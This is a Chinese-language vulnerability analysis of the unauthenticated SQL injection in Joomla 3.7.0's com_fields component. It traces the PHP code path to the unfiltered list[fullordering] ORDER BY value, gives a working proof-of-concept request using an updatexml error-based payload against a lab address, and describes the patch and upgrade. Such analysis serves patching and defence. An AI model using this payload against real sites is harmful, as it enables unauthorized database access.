JoomlaV3.7核心组件无需登录SQL注入漏洞

Joomla！是世界上最受欢迎的内容管理系统（CMS）解决方案之一。它可以让用户自定义构建网站实现强大的在线应用程序。

在Joomla!3.7.0版本中新引入了一个组件“com_fields”，这个组件任何人都可以访问，无需登陆验证。但是由于程序员设计缺陷，从这个组建中导入了同名的后台管理员组件，而正好在这个后台的同名组建中由于对用户输入过滤不严格，导致严重SQL注入漏洞。

漏洞分析

首先看看前台的这个组件com_fields， \Joomla_3.7.0\components\com_fields目录，controller.php文件：

class FieldsController extends JControllerLegacy
{
   public function __construct($config = array())
   {
      $this->input = JFactory::getApplication()->input;

      // Frontpage Editor Fields Button proxying:
      if ($this->input->get('view') === 'fields' && $this->input->get('layout') === 'modal')
      {
         // Load the backend language file.
         $lang = JFactory::getLanguage();
         $lang->load('com_fields', JPATH_ADMINISTRATOR);

         $config['base_path'] = JPATH_COMPONENT_ADMINISTRATOR;
      }

      parent::__construct($config);
   }
}

这里我们可以看到当我们的参数view=fields，layout=modal时，

url=http://localhost/index.php?option=com_fields&view=fields&layout=modal

此时设置$config[‘base_path’] = JPATH_COMPONENT_ADMINISTRATOR;

设置为管理后的组件路径： \Joomla_3.7.0\administrator\components\

跟进parent::__construct($config)

文件\Joomla_3.7.0\libraries\legacy\controller\legacy.php

public function __construct($config = array())
{
   $this->methods = array();
   $this->message = null;
   $this->messageType = 'message';
   $this->paths = array();
   $this->redirect = null;
   $this->taskMap = array();
……
// Set a base path for use by the controller
if (array_key_exists('base_path', $config))
{
   $this->basePath = $config['base_path'];
}
else
{
   $this->basePath = JPATH_COMPONENT;
}
……
/ Set the default model search path
if (array_key_exists('model_path', $config))
{
   // User-defined dirs
   $this->addModelPath($config['model_path'], $this->model_prefix);
}
else
{
   $this->addModelPath($this->basePath . '/models', $this->model_prefix);
}
}

这里先获取base_path的值，然后在加载这个路径的模块。

然后进入\Joomla_3.7.0\components\com_fields\fields.php文件

JLoader::register('FieldsHelper', JPATH_ADMINISTRATOR . '/components/com_fields/helpers/fields.php');

$controller = JControllerLegacy::getInstance('Fields');
$controller->execute(JFactory::getApplication()->input->get('task'));
$controller->redirect();

进入execute函数，文件\Joomla_3.7.0\libraries\legacy\controller\legacy.php跟进：

public function execute($task)
{
   $this->task = $task;

   $task = strtolower($task);

   if (isset($this->taskMap[$task]))
   {
      $doTask = $this->taskMap[$task];
   }
   elseif (isset($this->taskMap['__default']))
   {
      $doTask = $this->taskMap['__default'];
   }
   else
   {
      throw new Exception(JText::sprintf('JLIB_APPLICATION_ERROR_TASK_NOT_FOUND', $task), 404);
   }

   // Record the actual task being fired
   $this->doTask = $doTask;

   return $this->$doTask();
}

这里的task的值你可以为display，或者你可以不设置task也可以，因为默认

$this->taskMap[‘__default’]的值就是display。

最后return $this->$doTask()就等于return $this->display()；

public function display($cachable = false, $urlparams = array())
{
   $document = JFactory::getDocument();
   $viewType = $document->getType();
   $viewName = $this->input->get('view', $this->default_view);
   $viewLayout = $this->input->get('layout', 'default', 'string');

   $view = $this->getView($viewName, $viewType, '', array('base_path' => $this->basePath, 'layout' => $viewLayout));

   // Get/Create the model
   if ($model = $this->getModel($viewName))
   {
      // Push the model into the view (as default)
      $view->setModel($model, true);
   }

   $view->document = $document;

   // Display the view
   if ($cachable && $viewType != 'feed' && JFactory::getConfig()->get('caching') >= 1)
   {
     ……   }
   else
   {
      $view->display();
   }
   return $this;
}

这里的$viewName是取自于view,也就是fields,然后这里先调用getView函数取得视图,然后再调用了getModel获取对应的模型，返回一个model对象，接着再调用setModel函数将获取的model模型push到前面获取的view中去。

最后调用前面获取的view视图的display函数。

文件\Joomla_3.7.0\administrator\components\com_fields\views\fields\view.html.php

public function display($tpl = null)
{
   $this->state         = $this->get('State');
   $this->items         = $this->get('Items');
   $this->pagination    = $this->get('Pagination');
   $this->filterForm    = $this->get('FilterForm');
   $this->activeFilters = $this->get('ActiveFilters');
……
}

第一步，跟进这里的get(‘State’)，文件\Joomla_3.7.0\libraries\legacy\view\legacy.php

public function get($property, $default = null)
{
   // If $model is null we use the default model
   if (is_null($default))
   {
      $model = $this->_defaultModel;
   }
   else
   {
      $model = strtolower($default);
   }

   // First check to make sure the model requested exists
   if (isset($this->_models[$model]))
   {
      // Model exists, let's build the method name
      $method = 'get' . ucfirst($property);

      // Does the method exist?
      if (method_exists($this->_models[$model], $method))
      {
         // The method exists, let's call it and return what we get
         $result = $this->_models[$model]->$method();
         return $result;
      }
   }

这里我们的$property是我们传进的实参也就是’State’，那么拼接起来后的方法名$method就是getState方法，然后调用这个方法。

getState方法在文件\Joomla_3.7.0\libraries\legacy\model\legacy.php中

public function getState($property = null, $default = null)
{
   if (!$this->__state_set)
   {
      // Protected method to auto-populate the model state.
      $this->populateState();

      // Set the model state set flag to true.
      $this->__state_set = true;
   }

   return $property === null ? $this->state : $this->state->get($property, $default);
}

然后调用populateState方法，文件

\Joomla_3.7.0\administrator\components\com_fields\models\fields.php

protected function populateState($ordering = null, $direction = null)
{
   // List state information.
   parent::populateState('a.ordering', 'asc');

   $context = $this->getUserStateFromRequest($this->context . '.context', 'context', 'com_content.article', 'CMD');
   $this->setState('filter.context', $context);

   // Split context into component and optional section
   $parts = FieldsHelper::extract($context);

   if ($parts)
   {
      $this->setState('filter.component', $parts[0]);
      $this->setState('filter.section', $parts[1]);
   }
}

在populateState方法中调用了父类的populateState方法，跟进

文件\Joomla_3.7.0\libraries\legacy\model\list.php

protected function populateState($ordering = null, $direction = null)
{
……
if ($list = $app->getUserStateFromRequest($this->context . '.list', 'list', array(), 'array'))
{
   foreach ($list as $name => $value)
   {
      // Exclude if blacklisted
      if (!in_array($name, $this->listBlacklist))
      {
         // Extra validations
         switch ($name)
         {
            case 'fullordering':
               $orderingParts = explode(' ', $value);

               if (count($orderingParts) >= 2)
               {
                  // Latest part will be considered the direction
                  $fullDirection = end($orderingParts);

                  if (in_array(strtoupper($fullDirection), array('ASC', 'DESC', '')))
                  {
                     $this->setState('list.direction', $fullDirection);
                  }

                  unset($orderingParts[count($orderingParts) - 1]);

                  // The rest will be the ordering
                  $fullOrdering = implode(' ', $orderingParts);

                  if (in_array($fullOrdering, $this->filter_fields))
                  {
                     $this->setState('list.ordering', $fullOrdering);
                  }
               }
               else
               {
                  $this->setState('list.ordering', $ordering);
                  $this->setState('list.direction', $direction);
               }
               break;
                      }

         $this->setState('list.' . $name, $value);
      }
   }
}

从代码中可以看到，这里首先获取用户的输入内容赋值给list，然后变量list，然后当name等于fullordering的时候就对list[name]对应的value进行处理，这里对value进行了两次判断，如果条件成立就设置setState，但是这里两个条件都不成立，到最后统一来一次setState，问题就出在这里了，虽然前面各种判断有异常，但是到之后还是统一进行了setState。

第二步，跟进这里的get(‘Items’)，文件\Joomla_3.7.0\libraries\legacy\model\list.php

public function getItems()
{
   // Get a storage key.
   $store = $this->getStoreId();

   // Try to load the data from internal storage.
   if (isset($this->cache[$store]))
   {
      return $this->cache[$store];
   }

   try
   {
      // Load the list items and add the items to the internal cache.
      $this->cache[$store] = $this->_getList($this->_getListQuery(), $this->getStart(), $this->getState('list.limit'));
   }
   catch (RuntimeException $e)
   {
      $this->setError($e->getMessage());

      return false;
   }

   return $this->cache[$store];
}

这里调用了当前类的_getListQuery函数

protected function _getListQuery()
{
   // Capture the last store id used.
   static $lastStoreId;

   // Compute the current store id.
   $currentStoreId = $this->getStoreId();

   // If the last store id is different from the current, refresh the query.
   if ($lastStoreId != $currentStoreId || empty($this->query))
   {
      $lastStoreId = $currentStoreId;
      $this->query = $this->getListQuery();
   }

   return $this->query;
}

然后又调用当前类的getListQuery方法

protected function getListQuery()
{
   // Create a new query object.
   $db    = $this->getDbo();
   $query = $db->getQuery(true);
   $user  = JFactory::getUser();
   $app   = JFactory::getApplication();
……
// Add the list ordering clause
$listOrdering = $this->getState('list.fullordering', 'a.ordering');
$orderDirn    = '';

if (empty($listOrdering))
{
   $listOrdering  = $this->state->get('list.ordering', 'a.ordering');
   $orderDirn     = $this->state->get('list.direction', 'DESC');
}

$query->order($db->escape($listOrdering) . ' ' . $db->escape($orderDirn));    

return $query;

先获取我们输入的list.fullordering，也就是list[fullordering]的值，然后通过escape处理，再通过order构造返回要query。

Escape也就是通过函数mysqli_real_escape_string简单处理。

看看order干了什么，文件\Joomla_3.7.0\libraries\joomla\database\query.php

public function order($columns)
{
   if (is_null($this->order))
   {
      $this->order = new JDatabaseQueryElement('ORDER BY', $columns);
   }
   else
   {
      $this->order->append($columns);
   }
   return $this;
}

可以看到也就是简单的赋值过程，没有什么过滤处理。

所以上面的过程，我们输入的list[fullordering]的值就成功到这里的query了，最后被sql执行，导致sql注入漏洞。

最后query的值如下图：

漏洞利用

简单的程序验证：

http://10.65.20.198/Joomla_3.7.0/index.php?option=com_fields&view=fields&layout=modal &filter[search]=123&list[fullordering]=updatexml(0x3a,concat(1,(select%20md5(1))),1)

这里GET请求或者POST请求都可以

http://10.65.20.198/Joomla_3.7.0/index.php?option=com_fields&view=fields&layout=modal

task=display&filter[search]=123&list[fullordering]=updatexml(0x3a,concat(1,(select%20md5(1))),1)

漏洞修复

看看补丁的修复过程，如下图：

在文件\Joomla_3.7.0\libraries\legacy\model\list.php中，处理fullordering的时候，当不满足条件时，添加else条件处理过程，使用系统默认的值进行查询。

升级最新版完整安装包以及升级补丁包

https://downloads.joomla.org/cms/joomla3/3-7-1

参考链接

https://blog.sucuri.net/2017/05/sql-injection-vulnerability-joomla-3-7.html

http://bobao.360.cn/learning/detail/3868.html

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